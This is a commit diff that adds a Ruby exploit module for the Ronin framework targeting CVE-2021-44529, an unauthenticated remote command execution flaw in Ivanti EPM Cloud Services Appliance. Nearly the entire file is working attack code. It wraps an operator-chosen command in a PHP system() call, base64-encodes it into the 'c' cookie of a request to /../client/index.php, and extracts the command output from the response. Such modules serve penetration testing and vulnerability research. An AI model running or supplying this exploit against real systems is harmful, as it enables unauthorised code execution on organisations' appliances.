Added a PoC for CVE-2021-44529 (closes #3).

exploits/ivanti/CVE-2021-44529.rb

@@ -0,0 +1,70 @@
+#!/usr/bin/env -S ronin-exploits run -f
+
+require 'ronin/exploits/command_injection'
+require 'ronin/exploits/mixins/http'
+require 'ronin/support/encoding/base64'
+
+module Ronin
+  module Exploits
+    class CVE_2021_44529 < CommandInjection
+
+      include Mixins::HTTP
+
+      register 'ivanti/CVE-2021-44529'
+
+      quality :untested
+      release_date    '2022-03-23'
+      disclosure_date '2021-08-12'
+      advisory 'CVE-2021-44529'
+
+      author "Postmodern", email: "[email protected]"
+      summary "Command execution in Ivanti EPM Cloud Services Appliance (CSA)"
+      description <<~DESC
+        Ivanti EPM Cloud Services Appliance (CSA) is vulnerable to remote
+        unauthenticated code execution via the `c` cookie parameter in a HTTP
+        request to `/../client/index.php`. By executing the `system()` function
+        arbitrary command execution is also possible.
+
+            GET /../client/index.php
+            Host: example.com
+            Cookie: ab=ab; c=BASE64_PAYLOAD; d=; e=;
+
+      DESC
+      references [
+        "https://github.com/jkana/CVE-2021-44529"
+      ]
+
+      #
+      # Sends a HTTP GET request to `/../client/index.php` with the `c` cookie
+      # parameter containing the base64 encoded string `system(COMMAND);` with
+      # the command string inside of `system
+      def launch
+        wrapped_payload = "system(#{payload.to_s.inspect});"
+        encoded_payload = wrapped_payload.base64_encode(mode: :url_safe)
+
+        response = http_get(
+          '/../client/index.php', cookie: {
+            'ab' => 'ab',
+            'c'  => encoded_payload,
+            'd'  => '',
+            'e'  => ''
+          }
+        )
+
+        if (match = response.body.match(%r{<c123>(.*)</c123>}))
+          output = match[1].unescape
+
+          print_success "Command successfully executed!"
+          print_debug output
+        else
+          print_debug response.body
+          fail("command output not found in response")
+        end
+      end
+
+      def cleanup
+      end
+
+    end
+  end
+end